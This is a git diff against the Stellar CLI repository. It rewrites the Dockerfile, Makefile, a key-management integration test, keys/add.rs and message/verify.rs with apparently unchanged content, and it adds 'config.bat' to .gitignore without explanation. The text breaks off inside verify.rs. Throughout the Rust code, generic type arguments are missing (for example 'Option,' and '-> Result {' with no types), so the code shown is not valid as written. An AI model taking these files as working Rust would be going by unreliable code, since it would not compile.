diff --git a/.gitignore b/.gitignore index c91de6f2e2..aa439ce773 100644 --- a/.gitignore +++ b/.gitignore @@ -1,16 +1,17 @@ -target/ -captive-core/ -.soroban/ -snapshot.json -!test.toml -*.sqlite -test_snapshots -.vscode/settings.json -.idea -local.sh -.stellar -.zed -node_modules/ -.DS_Store -logs/ -ai-summary/ +target/ +captive-core/ +.soroban/ +snapshot.json +!test.toml +*.sqlite +test_snapshots +.vscode/settings.json +.idea +local.sh +.stellar +.zed +node_modules/ +.DS_Store +logs/ +ai-summary/ +config.bat diff --git a/Dockerfile b/Dockerfile index 69b87048eb..3abdb68388 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,22 +1,22 @@ -FROM rust:latest - -RUN rustup target add wasm32v1-none - -RUN apt-get update && \ - apt-get install -y --no-install-recommends dbus gnome-keyring libdbus-1-3 libudev1 libssl3 && \ - rm -rf /var/lib/apt/lists/* - -ARG TARGETARCH -COPY stellar-${TARGETARCH}/stellar /usr/local/bin/stellar - -ENV STELLAR_CONFIG_HOME=/config -ENV STELLAR_DATA_HOME=/data - -COPY entrypoint.sh /usr/local/bin/entrypoint.sh -RUN chmod +x /usr/local/bin/entrypoint.sh && \ - chmod +x /usr/local/bin/stellar - -WORKDIR /source - -ENTRYPOINT ["/usr/local/bin/entrypoint.sh", "stellar"] -CMD [] +FROM rust:latest + +RUN rustup target add wasm32v1-none + +RUN apt-get update && \ + apt-get install -y --no-install-recommends dbus gnome-keyring libdbus-1-3 libudev1 libssl3 && \ + rm -rf /var/lib/apt/lists/* + +ARG TARGETARCH +COPY stellar-${TARGETARCH}/stellar /usr/local/bin/stellar + +ENV STELLAR_CONFIG_HOME=/config +ENV STELLAR_DATA_HOME=/data + +COPY entrypoint.sh /usr/local/bin/entrypoint.sh +RUN chmod +x /usr/local/bin/entrypoint.sh && \ + chmod +x /usr/local/bin/stellar + +WORKDIR /source + +ENTRYPOINT ["/usr/local/bin/entrypoint.sh", "stellar"] +CMD [] diff --git a/Makefile b/Makefile index 05b279fb10..d266c5c2f9 100644 --- a/Makefile +++ b/Makefile @@ -1,89 +1,89 @@ -all: build-test-wasms check build test - - -REPOSITORY_COMMIT_HASH := "$(shell git rev-parse HEAD)" -ifeq (${REPOSITORY_COMMIT_HASH},"") - $(error failed to retrieve git head commit hash) -endif -# Want to treat empty assignment, `REPOSITORY_VERSION=` the same as absence or unset. -# By default make `?=` operator will treat empty assignment as a set value and will not use the default value. -# Both cases should fallback to default of getting the version from git tag. -ifeq ($(strip $(REPOSITORY_VERSION)),) - override REPOSITORY_VERSION = "$(shell ( git describe --tags --always --abbrev=0 --match='v[0-9]*.[0-9]*.[0-9]*' 2> /dev/null | sed 's/^.//' ) )" -endif -REPOSITORY_BRANCH := "$(shell git rev-parse --abbrev-ref HEAD)" -BUILD_TIMESTAMP ?= $(shell date '+%Y-%m-%dT%H:%M:%S') - -STELLAR_PORT?=8000 - -# The following works around incompatibility between the rust and the go linkers - -# the rust would generate an object file with min-version of 13.0 where-as the go -# compiler would generate a binary compatible with 12.3 and up. To align these -# we instruct the go compiler to produce binaries comparible with version 13.0. -# this is a mac-only limitation. -ifeq ($(shell uname -s),Darwin) - MACOS_MIN_VER = -ldflags='-extldflags -mmacosx-version-min=13.0' -endif - -install_rust: install - -install: - cargo install --force --locked --path ./cmd/stellar-cli --debug - cargo install --force --locked --path ./cmd/crates/soroban-test/tests/fixtures/hello --root ./target --debug --quiet - cargo install --force --locked --path ./cmd/crates/soroban-test/tests/fixtures/bye --root ./target --debug --quiet - -# regenerate the example lib in `cmd/crates/soroban-spec-typsecript/fixtures/ts` -build-snapshot: typescript-bindings-fixtures - -build: - cargo build - -build-test-wasms: - cargo build --package 'test_*' --profile test-wasms --target wasm32v1-none - -build-test: build-test-wasms install - -docs: - cargo run --package doc-gen --features additional-libs - ./node_modules/.bin/prettier --write --log-level warn FULL_HELP_DOCS.md - -test: build-test - cargo test --workspace --exclude soroban-test - cargo test --workspace --exclude soroban-test --features additional-libs - cargo test -p soroban-test -- --skip integration:: - -# expects a quickstart container running with the rpc exposed at localhost:STELLAR_PORT -rpc-test: - cargo test --features it --test it -- integration --test-threads=4 - -check: - cargo clippy --all-targets - cargo fmt --all --check - ./node_modules/.bin/prettier --check '**/*.{md,mdx}' --log-level warn - -watch: - cargo watch --clear --watch-when-idle --shell '$(MAKE)' - -fmt: - cargo fmt --all - ./node_modules/.bin/prettier --write '**/*.{md,mdx}' --log-level warn - -clean: - cargo clean - -publish: - cargo workspaces publish --all --force '*' --from-git --yes - -typescript-bindings-fixtures: build-test-wasms - cargo run -- contract bindings typescript \ - --wasm ./target/wasm32v1-none/test-wasms/test_custom_types.wasm \ - --output-dir ./cmd/crates/soroban-spec-typescript/fixtures/test_custom_types \ - --overwrite && \ - cargo run -- contract bindings typescript \ - --wasm ./target/wasm32v1-none/test-wasms/test_constructor.wasm \ - --output-dir ./cmd/crates/soroban-spec-typescript/fixtures/test_constructor \ - --overwrite - - -# PHONY lists all the targets that aren't file names, so that make would skip the timestamp based check. -.PHONY: publish clean fmt watch check rpc-test test build-test-wasms install build build-snapshot typescript-bindings-fixtures +all: build-test-wasms check build test + + +REPOSITORY_COMMIT_HASH := "$(shell git rev-parse HEAD)" +ifeq (${REPOSITORY_COMMIT_HASH},"") + $(error failed to retrieve git head commit hash) +endif +# Want to treat empty assignment, `REPOSITORY_VERSION=` the same as absence or unset. +# By default make `?=` operator will treat empty assignment as a set value and will not use the default value. +# Both cases should fallback to default of getting the version from git tag. +ifeq ($(strip $(REPOSITORY_VERSION)),) + override REPOSITORY_VERSION = "$(shell ( git describe --tags --always --abbrev=0 --match='v[0-9]*.[0-9]*.[0-9]*' 2> /dev/null | sed 's/^.//' ) )" +endif +REPOSITORY_BRANCH := "$(shell git rev-parse --abbrev-ref HEAD)" +BUILD_TIMESTAMP ?= $(shell date '+%Y-%m-%dT%H:%M:%S') + +STELLAR_PORT?=8000 + +# The following works around incompatibility between the rust and the go linkers - +# the rust would generate an object file with min-version of 13.0 where-as the go +# compiler would generate a binary compatible with 12.3 and up. To align these +# we instruct the go compiler to produce binaries comparible with version 13.0. +# this is a mac-only limitation. +ifeq ($(shell uname -s),Darwin) + MACOS_MIN_VER = -ldflags='-extldflags -mmacosx-version-min=13.0' +endif + +install_rust: install + +install: + cargo install --force --locked --path ./cmd/stellar-cli --debug + cargo install --force --locked --path ./cmd/crates/soroban-test/tests/fixtures/hello --root ./target --debug --quiet + cargo install --force --locked --path ./cmd/crates/soroban-test/tests/fixtures/bye --root ./target --debug --quiet + +# regenerate the example lib in `cmd/crates/soroban-spec-typsecript/fixtures/ts` +build-snapshot: typescript-bindings-fixtures + +build: + cargo build + +build-test-wasms: + cargo build --package 'test_*' --profile test-wasms --target wasm32v1-none + +build-test: build-test-wasms install + +docs: + cargo run --package doc-gen --features additional-libs + ./node_modules/.bin/prettier --write --log-level warn FULL_HELP_DOCS.md + +test: build-test + cargo test --workspace --exclude soroban-test + cargo test --workspace --exclude soroban-test --features additional-libs + cargo test -p soroban-test -- --skip integration:: + +# expects a quickstart container running with the rpc exposed at localhost:STELLAR_PORT +rpc-test: + cargo test --features it --test it -- integration --test-threads=4 + +check: + cargo clippy --all-targets + cargo fmt --all --check + ./node_modules/.bin/prettier --check '**/*.{md,mdx}' --log-level warn + +watch: + cargo watch --clear --watch-when-idle --shell '$(MAKE)' + +fmt: + cargo fmt --all + ./node_modules/.bin/prettier --write '**/*.{md,mdx}' --log-level warn + +clean: + cargo clean + +publish: + cargo workspaces publish --all --force '*' --from-git --yes + +typescript-bindings-fixtures: build-test-wasms + cargo run -- contract bindings typescript \ + --wasm ./target/wasm32v1-none/test-wasms/test_custom_types.wasm \ + --output-dir ./cmd/crates/soroban-spec-typescript/fixtures/test_custom_types \ + --overwrite && \ + cargo run -- contract bindings typescript \ + --wasm ./target/wasm32v1-none/test-wasms/test_constructor.wasm \ + --output-dir ./cmd/crates/soroban-spec-typescript/fixtures/test_constructor \ + --overwrite + + +# PHONY lists all the targets that aren't file names, so that make would skip the timestamp based check. +.PHONY: publish clean fmt watch check rpc-test test build-test-wasms install build build-snapshot typescript-bindings-fixtures diff --git a/cmd/crates/soroban-test/tests/it/integration/keys.rs b/cmd/crates/soroban-test/tests/it/integration/keys.rs index 6047827318..bbe102e07b 100644 --- a/cmd/crates/soroban-test/tests/it/integration/keys.rs +++ b/cmd/crates/soroban-test/tests/it/integration/keys.rs @@ -1,324 +1,324 @@ -use predicates::prelude::{predicate, PredicateBooleanExt}; -use soroban_test::AssertExt; -use soroban_test::TestEnv; - -fn pubkey_for_identity(sandbox: &TestEnv, name: &str) -> String { - sandbox - .new_assert_cmd("keys") - .arg("address") - .arg(name) - .assert() - .stdout_as_str() -} - -#[tokio::test] -#[allow(clippy::too_many_lines)] -async fn fund() { - let sandbox = &TestEnv::new(); - sandbox - .new_assert_cmd("keys") - .arg("generate") - .arg("test2") - .assert() - .success(); - sandbox - .new_assert_cmd("keys") - .arg("fund") - .arg("test2") - .assert() - // Don't expect error if friendbot indicated that the account is - // already fully funded to the starting balance, because the - // user's goal is to get funded, and the account is funded - // so it is success much the same. - .success(); -} - -#[tokio::test] -async fn secret() { - let sandbox = &TestEnv::new(); - sandbox - .new_assert_cmd("keys") - .arg("generate") - .arg("test2") - .assert() - .success(); - sandbox - .new_assert_cmd("keys") - .arg("secret") - .arg("test2") - .assert() - .success(); -} - -#[tokio::test] -#[allow(clippy::too_many_lines)] -async fn overwrite_identity() { - let sandbox = &TestEnv::new(); - sandbox - .new_assert_cmd("keys") - .arg("generate") - .arg("test2") - .assert() - .success(); - - let initial_pubkey = sandbox - .new_assert_cmd("keys") - .arg("address") - .arg("test2") - .assert() - .stdout_as_str(); - - sandbox - .new_assert_cmd("keys") - .arg("generate") - .arg("test2") - .assert() - .stderr(predicate::str::contains( - "error: An identity with the name 'test2' already exists", - )); - - assert_eq!(initial_pubkey, pubkey_for_identity(sandbox, "test2")); - - sandbox - .new_assert_cmd("keys") - .arg("generate") - .arg("test2") - .arg("--overwrite") - .assert() - .stderr(predicate::str::contains("Overwriting identity 'test2'")) - .success(); - - assert_ne!(initial_pubkey, pubkey_for_identity(sandbox, "test2")); -} - -#[tokio::test] -#[allow(clippy::too_many_lines)] -async fn overwrite_identity_with_add() { - let sandbox = &TestEnv::new(); - sandbox - .new_assert_cmd("keys") - .arg("generate") - .arg("test3") - .assert() - .success(); - - let initial_pubkey = sandbox - .new_assert_cmd("keys") - .arg("address") - .arg("test3") - .assert() - .stdout_as_str(); - - // Try to add a key with the same name, should fail - sandbox - .new_assert_cmd("keys") - .arg("add") - .arg("test3") - .arg("--public-key") - .arg("GAKSH6AD2IPJQELTHIOWDAPYX74YELUOWJLI2L4RIPIPZH6YQIFNUSDC") - .assert() - .stderr(predicate::str::contains( - "error: An identity with the name 'test3' already exists", - )); - - // Verify the key wasn't changed - assert_eq!(initial_pubkey, pubkey_for_identity(sandbox, "test3")); - - // Try again with --overwrite flag, should succeed - sandbox - .new_assert_cmd("keys") - .arg("add") - .arg("test3") - .arg("--public-key") - .arg("GAKSH6AD2IPJQELTHIOWDAPYX74YELUOWJLI2L4RIPIPZH6YQIFNUSDC") - .arg("--overwrite") - .assert() - .stderr(predicate::str::contains("Overwriting identity 'test3'")) - .success(); - - // Verify the key was changed - assert_ne!(initial_pubkey, pubkey_for_identity(sandbox, "test3")); - assert_eq!( - "GAKSH6AD2IPJQELTHIOWDAPYX74YELUOWJLI2L4RIPIPZH6YQIFNUSDC", - pubkey_for_identity(sandbox, "test3").trim() - ); -} - -#[tokio::test] -#[allow(clippy::too_many_lines)] -async fn set_default_identity() { - let sandbox = &TestEnv::new(); - sandbox - .new_assert_cmd("keys") - .arg("generate") - .arg("test4") - .assert() - .success(); - - sandbox - .new_assert_cmd("keys") - .arg("use") - .arg("test4") - .assert() - .stderr(predicate::str::contains( - "The default source account is set to `test4`", - )) - .success(); -} - -#[tokio::test] -#[allow(clippy::too_many_lines)] -async fn unset_default_identity() { - let sandbox = &TestEnv::new(); - sandbox - .new_assert_cmd("keys") - .arg("generate") - .arg("test5") - .assert() - .success(); - - sandbox - .new_assert_cmd("keys") - .arg("use") - .arg("test5") - .assert() - .stderr(predicate::str::contains( - "The default source account is set to `test5`", - )) - .success(); - - sandbox - .new_assert_cmd("env") - .env_remove("STELLAR_ACCOUNT") - .assert() - .stdout(predicate::str::contains("STELLAR_ACCOUNT=test5")) - .success(); - - sandbox - .new_assert_cmd("keys") - .arg("unset") - .assert() - .stderr(predicate::str::contains( - "The default source account has been unset", - )) - .success(); - - sandbox - .new_assert_cmd("env") - .env_remove("STELLAR_ACCOUNT") - .assert() - .stdout(predicate::str::contains("STELLAR_ACCOUNT=").not()) - .success(); -} - -#[tokio::test] -async fn rm_requires_confirmation() { - let sandbox = &TestEnv::new(); - sandbox - .new_assert_cmd("keys") - .arg("generate") - .arg("rmtest1") - .assert() - .success(); - - // Piping "n" should cancel removal - sandbox - .new_assert_cmd("keys") - .arg("rm") - .arg("rmtest1") - .write_stdin("n\n") - .assert() - .stderr(predicate::str::contains("removal cancelled by user")) - .failure(); - - sandbox - .new_assert_cmd("keys") - .arg("address") - .arg("rmtest1") - .assert() - .success(); - - // Piping empty input (just Enter) should default to cancel - sandbox - .new_assert_cmd("keys") - .arg("rm") - .arg("rmtest1") - .write_stdin("\n") - .assert() - .stderr(predicate::str::contains("removal cancelled by user")) - .failure(); - - sandbox - .new_assert_cmd("keys") - .arg("address") - .arg("rmtest1") - .assert() - .success(); - - // Piping "y" should confirm removal - sandbox - .new_assert_cmd("keys") - .arg("rm") - .arg("rmtest1") - .write_stdin("y\n") - .assert() - .stderr(predicate::str::contains( - "Removing the key's cli config file", - )) - .success(); - - sandbox - .new_assert_cmd("keys") - .arg("address") - .arg("rmtest1") - .assert() - .failure(); -} - -#[tokio::test] -async fn rm_with_force_skips_confirmation() { - let sandbox = &TestEnv::new(); - sandbox - .new_assert_cmd("keys") - .arg("generate") - .arg("rmtest2") - .assert() - .success(); - - sandbox - .new_assert_cmd("keys") - .arg("rm") - .arg("rmtest2") - .arg("--force") - .assert() - .success(); - - sandbox - .new_assert_cmd("keys") - .arg("address") - .arg("rmtest2") - .assert() - .failure(); -} - -#[tokio::test] -async fn rm_nonexistent_key() { - let sandbox = &TestEnv::new(); - - // Without --force: should fail before prompting - sandbox - .new_assert_cmd("keys") - .arg("rm") - .arg("doesnotexist") - .assert() - .failure(); - - // With --force: should still fail - sandbox - .new_assert_cmd("keys") - .arg("rm") - .arg("doesnotexist") - .arg("--force") - .assert() - .failure(); -} +use predicates::prelude::{predicate, PredicateBooleanExt}; +use soroban_test::AssertExt; +use soroban_test::TestEnv; + +fn pubkey_for_identity(sandbox: &TestEnv, name: &str) -> String { + sandbox + .new_assert_cmd("keys") + .arg("address") + .arg(name) + .assert() + .stdout_as_str() +} + +#[tokio::test] +#[allow(clippy::too_many_lines)] +async fn fund() { + let sandbox = &TestEnv::new(); + sandbox + .new_assert_cmd("keys") + .arg("generate") + .arg("test2") + .assert() + .success(); + sandbox + .new_assert_cmd("keys") + .arg("fund") + .arg("test2") + .assert() + // Don't expect error if friendbot indicated that the account is + // already fully funded to the starting balance, because the + // user's goal is to get funded, and the account is funded + // so it is success much the same. + .success(); +} + +#[tokio::test] +async fn secret() { + let sandbox = &TestEnv::new(); + sandbox + .new_assert_cmd("keys") + .arg("generate") + .arg("test2") + .assert() + .success(); + sandbox + .new_assert_cmd("keys") + .arg("secret") + .arg("test2") + .assert() + .success(); +} + +#[tokio::test] +#[allow(clippy::too_many_lines)] +async fn overwrite_identity() { + let sandbox = &TestEnv::new(); + sandbox + .new_assert_cmd("keys") + .arg("generate") + .arg("test2") + .assert() + .success(); + + let initial_pubkey = sandbox + .new_assert_cmd("keys") + .arg("address") + .arg("test2") + .assert() + .stdout_as_str(); + + sandbox + .new_assert_cmd("keys") + .arg("generate") + .arg("test2") + .assert() + .stderr(predicate::str::contains( + "error: An identity with the name 'test2' already exists", + )); + + assert_eq!(initial_pubkey, pubkey_for_identity(sandbox, "test2")); + + sandbox + .new_assert_cmd("keys") + .arg("generate") + .arg("test2") + .arg("--overwrite") + .assert() + .stderr(predicate::str::contains("Overwriting identity 'test2'")) + .success(); + + assert_ne!(initial_pubkey, pubkey_for_identity(sandbox, "test2")); +} + +#[tokio::test] +#[allow(clippy::too_many_lines)] +async fn overwrite_identity_with_add() { + let sandbox = &TestEnv::new(); + sandbox + .new_assert_cmd("keys") + .arg("generate") + .arg("test3") + .assert() + .success(); + + let initial_pubkey = sandbox + .new_assert_cmd("keys") + .arg("address") + .arg("test3") + .assert() + .stdout_as_str(); + + // Try to add a key with the same name, should fail + sandbox + .new_assert_cmd("keys") + .arg("add") + .arg("test3") + .arg("--public-key") + .arg("GAKSH6AD2IPJQELTHIOWDAPYX74YELUOWJLI2L4RIPIPZH6YQIFNUSDC") + .assert() + .stderr(predicate::str::contains( + "error: An identity with the name 'test3' already exists", + )); + + // Verify the key wasn't changed + assert_eq!(initial_pubkey, pubkey_for_identity(sandbox, "test3")); + + // Try again with --overwrite flag, should succeed + sandbox + .new_assert_cmd("keys") + .arg("add") + .arg("test3") + .arg("--public-key") + .arg("GAKSH6AD2IPJQELTHIOWDAPYX74YELUOWJLI2L4RIPIPZH6YQIFNUSDC") + .arg("--overwrite") + .assert() + .stderr(predicate::str::contains("Overwriting identity 'test3'")) + .success(); + + // Verify the key was changed + assert_ne!(initial_pubkey, pubkey_for_identity(sandbox, "test3")); + assert_eq!( + "GAKSH6AD2IPJQELTHIOWDAPYX74YELUOWJLI2L4RIPIPZH6YQIFNUSDC", + pubkey_for_identity(sandbox, "test3").trim() + ); +} + +#[tokio::test] +#[allow(clippy::too_many_lines)] +async fn set_default_identity() { + let sandbox = &TestEnv::new(); + sandbox + .new_assert_cmd("keys") + .arg("generate") + .arg("test4") + .assert() + .success(); + + sandbox + .new_assert_cmd("keys") + .arg("use") + .arg("test4") + .assert() + .stderr(predicate::str::contains( + "The default source account is set to `test4`", + )) + .success(); +} + +#[tokio::test] +#[allow(clippy::too_many_lines)] +async fn unset_default_identity() { + let sandbox = &TestEnv::new(); + sandbox + .new_assert_cmd("keys") + .arg("generate") + .arg("test5") + .assert() + .success(); + + sandbox + .new_assert_cmd("keys") + .arg("use") + .arg("test5") + .assert() + .stderr(predicate::str::contains( + "The default source account is set to `test5`", + )) + .success(); + + sandbox + .new_assert_cmd("env") + .env_remove("STELLAR_ACCOUNT") + .assert() + .stdout(predicate::str::contains("STELLAR_ACCOUNT=test5")) + .success(); + + sandbox + .new_assert_cmd("keys") + .arg("unset") + .assert() + .stderr(predicate::str::contains( + "The default source account has been unset", + )) + .success(); + + sandbox + .new_assert_cmd("env") + .env_remove("STELLAR_ACCOUNT") + .assert() + .stdout(predicate::str::contains("STELLAR_ACCOUNT=").not()) + .success(); +} + +#[tokio::test] +async fn rm_requires_confirmation() { + let sandbox = &TestEnv::new(); + sandbox + .new_assert_cmd("keys") + .arg("generate") + .arg("rmtest1") + .assert() + .success(); + + // Piping "n" should cancel removal + sandbox + .new_assert_cmd("keys") + .arg("rm") + .arg("rmtest1") + .write_stdin("n\n") + .assert() + .stderr(predicate::str::contains("removal cancelled by user")) + .failure(); + + sandbox + .new_assert_cmd("keys") + .arg("address") + .arg("rmtest1") + .assert() + .success(); + + // Piping empty input (just Enter) should default to cancel + sandbox + .new_assert_cmd("keys") + .arg("rm") + .arg("rmtest1") + .write_stdin("\n") + .assert() + .stderr(predicate::str::contains("removal cancelled by user")) + .failure(); + + sandbox + .new_assert_cmd("keys") + .arg("address") + .arg("rmtest1") + .assert() + .success(); + + // Piping "y" should confirm removal + sandbox + .new_assert_cmd("keys") + .arg("rm") + .arg("rmtest1") + .write_stdin("y\n") + .assert() + .stderr(predicate::str::contains( + "Removing the key's cli config file", + )) + .success(); + + sandbox + .new_assert_cmd("keys") + .arg("address") + .arg("rmtest1") + .assert() + .failure(); +} + +#[tokio::test] +async fn rm_with_force_skips_confirmation() { + let sandbox = &TestEnv::new(); + sandbox + .new_assert_cmd("keys") + .arg("generate") + .arg("rmtest2") + .assert() + .success(); + + sandbox + .new_assert_cmd("keys") + .arg("rm") + .arg("rmtest2") + .arg("--force") + .assert() + .success(); + + sandbox + .new_assert_cmd("keys") + .arg("address") + .arg("rmtest2") + .assert() + .failure(); +} + +#[tokio::test] +async fn rm_nonexistent_key() { + let sandbox = &TestEnv::new(); + + // Without --force: should fail before prompting + sandbox + .new_assert_cmd("keys") + .arg("rm") + .arg("doesnotexist") + .assert() + .failure(); + + // With --force: should still fail + sandbox + .new_assert_cmd("keys") + .arg("rm") + .arg("doesnotexist") + .arg("--force") + .assert() + .failure(); +} diff --git a/cmd/soroban-cli/src/commands/keys/add.rs b/cmd/soroban-cli/src/commands/keys/add.rs index 3f0056c747..77fa8f4909 100644 --- a/cmd/soroban-cli/src/commands/keys/add.rs +++ b/cmd/soroban-cli/src/commands/keys/add.rs @@ -1,159 +1,159 @@ -use std::io::{IsTerminal, Write}; - -use sep5::SeedPhrase; - -use crate::{ - commands::global, - config::{ - address::KeyName, - key, locator, - secret::{self, Secret}, - }, - print::Print, - signer::secure_store, -}; - -#[derive(thiserror::Error, Debug)] -pub enum Error { - #[error(transparent)] - Secret(#[from] secret::Error), - #[error(transparent)] - Key(#[from] key::Error), - #[error(transparent)] - Config(#[from] locator::Error), - - #[error(transparent)] - SecureStore(#[from] secure_store::Error), - - #[error(transparent)] - SeedPhrase(#[from] sep5::error::Error), - - #[error("secret input error")] - PasswordRead, - - #[error("An identity with the name '{0}' already exists")] - IdentityAlreadyExists(String), - - #[error( - "--secure-store only supports seed phrases; \ - unset STELLAR_SECRET_KEY or provide a seed phrase instead" - )] - SecureStoreRequiresSeedPhrase, -} - -#[derive(Debug, clap::Parser, Clone)] -#[group(skip)] -pub struct Cmd { - /// Name of identity - pub name: KeyName, - - #[command(flatten)] - pub secrets: secret::Args, - - #[command(flatten)] - pub config_locator: locator::Args, - - /// Add a public key, ed25519, or muxed account, e.g. G1.., M2.. - #[arg(long, conflicts_with = "seed_phrase", conflicts_with = "secret_key")] - pub public_key: Option, - - /// Overwrite existing identity if it already exists. When combined with - /// --secure-store, also replaces the existing Secure Store entry. - #[arg(long)] - pub overwrite: bool, - - /// When importing a seed phrase into the Secure Store, which `hd_path` to derive the key at. - #[arg(long)] - pub hd_path: Option, -} - -impl Cmd { - pub fn run(&self, global_args: &global::Args) -> Result<(), Error> { - let print = Print::new(global_args.quiet); - - if self.config_locator.read_identity(&self.name).is_ok() { - if !self.overwrite { - return Err(Error::IdentityAlreadyExists(self.name.to_string())); - } - - print.exclaimln(format!("Overwriting identity '{}'", &self.name.to_string())); - } - - let key = if let Some(key) = self.public_key.as_ref() { - key.parse()? - } else { - self.read_secret(&print)?.into() - }; - - let path = self.config_locator.write_key(&self.name, &key)?; - - print.checkln(format!("Key saved with alias {} in {path:?}", self.name)); - - Ok(()) - } - - fn read_secret(&self, print: &Print) -> Result { - if self.secrets.secure_store { - if std::env::var("STELLAR_SECRET_KEY").is_ok() { - return Err(Error::SecureStoreRequiresSeedPhrase); - } - } else if let Ok(secret_key) = std::env::var("STELLAR_SECRET_KEY") { - return Ok(secret_key.parse()?); - } - - if self.secrets.secure_store { - let prompt = "Type a 12/24 word seed phrase:"; - let secret_key = read_password(print, prompt)?; - if secret_key.split_whitespace().count() < 24 { - print.warnln("The provided seed phrase lacks sufficient entropy and should be avoided. Using a 24-word seed phrase is a safer option.".to_string()); - print.warnln( - "To generate a new key, use the `stellar keys generate` command.".to_string(), - ); - } - - let seed_phrase: SeedPhrase = secret_key.parse()?; - - Ok(secure_store::save_secret( - print, - &self.name, - &seed_phrase, - self.hd_path, - self.overwrite, - )?) - } else { - let prompt = "Type a secret key or 12/24 word seed phrase:"; - let secret_key = read_password(print, prompt)?; - let secret = secret_key.parse()?; - if let Secret::SeedPhrase { seed_phrase } = &secret { - if seed_phrase.split_whitespace().count() < 24 { - print.warnln("The provided seed phrase lacks sufficient entropy and should be avoided. Using a 24-word seed phrase is a safer option.".to_string()); - print.warnln( - "To generate a new key, use the `stellar keys generate` command." - .to_string(), - ); - } - } - Ok(secret) - } - } -} - -fn read_password(print: &Print, prompt: &str) -> Result { - if std::io::stdin().is_terminal() { - // Interactive: prompt and read from TTY - print.arrowln(prompt); - std::io::stdout().flush().map_err(|_| Error::PasswordRead)?; - rpassword::read_password().map_err(|_| Error::PasswordRead) - } else { - // Non-interactive: read from stdin - let mut input = String::new(); - std::io::stdin() - .read_line(&mut input) - .map_err(|_| Error::PasswordRead)?; - let input = input.trim().to_string(); - if input.is_empty() { - return Err(Error::PasswordRead); - } - Ok(input) - } -} +use std::io::{IsTerminal, Write}; + +use sep5::SeedPhrase; + +use crate::{ + commands::global, + config::{ + address::KeyName, + key, locator, + secret::{self, Secret}, + }, + print::Print, + signer::secure_store, +}; + +#[derive(thiserror::Error, Debug)] +pub enum Error { + #[error(transparent)] + Secret(#[from] secret::Error), + #[error(transparent)] + Key(#[from] key::Error), + #[error(transparent)] + Config(#[from] locator::Error), + + #[error(transparent)] + SecureStore(#[from] secure_store::Error), + + #[error(transparent)] + SeedPhrase(#[from] sep5::error::Error), + + #[error("secret input error")] + PasswordRead, + + #[error("An identity with the name '{0}' already exists")] + IdentityAlreadyExists(String), + + #[error( + "--secure-store only supports seed phrases; \ + unset STELLAR_SECRET_KEY or provide a seed phrase instead" + )] + SecureStoreRequiresSeedPhrase, +} + +#[derive(Debug, clap::Parser, Clone)] +#[group(skip)] +pub struct Cmd { + /// Name of identity + pub name: KeyName, + + #[command(flatten)] + pub secrets: secret::Args, + + #[command(flatten)] + pub config_locator: locator::Args, + + /// Add a public key, ed25519, or muxed account, e.g. G1.., M2.. + #[arg(long, conflicts_with = "seed_phrase", conflicts_with = "secret_key")] + pub public_key: Option, + + /// Overwrite existing identity if it already exists. When combined with + /// --secure-store, also replaces the existing Secure Store entry. + #[arg(long)] + pub overwrite: bool, + + /// When importing a seed phrase into the Secure Store, which `hd_path` to derive the key at. + #[arg(long)] + pub hd_path: Option, +} + +impl Cmd { + pub fn run(&self, global_args: &global::Args) -> Result<(), Error> { + let print = Print::new(global_args.quiet); + + if self.config_locator.read_identity(&self.name).is_ok() { + if !self.overwrite { + return Err(Error::IdentityAlreadyExists(self.name.to_string())); + } + + print.exclaimln(format!("Overwriting identity '{}'", &self.name.to_string())); + } + + let key = if let Some(key) = self.public_key.as_ref() { + key.parse()? + } else { + self.read_secret(&print)?.into() + }; + + let path = self.config_locator.write_key(&self.name, &key)?; + + print.checkln(format!("Key saved with alias {} in {path:?}", self.name)); + + Ok(()) + } + + fn read_secret(&self, print: &Print) -> Result { + if self.secrets.secure_store { + if std::env::var("STELLAR_SECRET_KEY").is_ok() { + return Err(Error::SecureStoreRequiresSeedPhrase); + } + } else if let Ok(secret_key) = std::env::var("STELLAR_SECRET_KEY") { + return Ok(secret_key.parse()?); + } + + if self.secrets.secure_store { + let prompt = "Type a 12/24 word seed phrase:"; + let secret_key = read_password(print, prompt)?; + if secret_key.split_whitespace().count() < 24 { + print.warnln("The provided seed phrase lacks sufficient entropy and should be avoided. Using a 24-word seed phrase is a safer option.".to_string()); + print.warnln( + "To generate a new key, use the `stellar keys generate` command.".to_string(), + ); + } + + let seed_phrase: SeedPhrase = secret_key.parse()?; + + Ok(secure_store::save_secret( + print, + &self.name, + &seed_phrase, + self.hd_path, + self.overwrite, + )?) + } else { + let prompt = "Type a secret key or 12/24 word seed phrase:"; + let secret_key = read_password(print, prompt)?; + let secret = secret_key.parse()?; + if let Secret::SeedPhrase { seed_phrase } = &secret { + if seed_phrase.split_whitespace().count() < 24 { + print.warnln("The provided seed phrase lacks sufficient entropy and should be avoided. Using a 24-word seed phrase is a safer option.".to_string()); + print.warnln( + "To generate a new key, use the `stellar keys generate` command." + .to_string(), + ); + } + } + Ok(secret) + } + } +} + +fn read_password(print: &Print, prompt: &str) -> Result { + if std::io::stdin().is_terminal() { + // Interactive: prompt and read from TTY + print.arrowln(prompt); + std::io::stdout().flush().map_err(|_| Error::PasswordRead)?; + rpassword::read_password().map_err(|_| Error::PasswordRead) + } else { + // Non-interactive: read from stdin + let mut input = String::new(); + std::io::stdin() + .read_line(&mut input) + .map_err(|_| Error::PasswordRead)?; + let input = input.trim().to_string(); + if input.is_empty() { + return Err(Error::PasswordRead); + } + Ok(input) + } +} diff --git a/cmd/soroban-cli/src/commands/message/verify.rs b/cmd/soroban-cli/src/commands/message/verify.rs index 38706ac0ae..e8e9d4baf7 100644 --- a/cmd/soroban-cli/src/commands/message/verify.rs +++ b/cmd/soroban-cli/src/commands/message/verify.rs @@ -1,275 +1,275 @@ -use std::io::{self, Read}; - -use crate::{ - commands::global, - config::{locator, secret}, - print::Print, -}; -use base64::{engine::general_purpose::STANDARD as BASE64, Engine}; -use clap::Parser; -use ed25519_dalek::{Signature, Verifier, VerifyingKey}; -use sha2::{Digest, Sha256}; - -use super::SEP53_PREFIX; - -#[derive(thiserror::Error, Debug)] -pub enum Error { - #[error(transparent)] - Locator(#[from] locator::Error), - - #[error(transparent)] - Secret(#[from] secret::Error), - - #[error(transparent)] - Io(#[from] io::Error), - - #[error(transparent)] - Base64(#[from] base64::DecodeError), - - #[error(transparent)] - StrKey(#[from] stellar_strkey::DecodeError), - - #[error(transparent)] - Ed25519(#[from] ed25519_dalek::SignatureError), - - #[error(transparent)] - Address(#[from] crate::config::address::Error), - - #[error("Signature verification failed")] - VerificationFailed, - - #[error("Invalid signature length: expected 64 bytes, got {0}")] - InvalidSignatureLength(usize), -} - -#[derive(Debug, Parser, 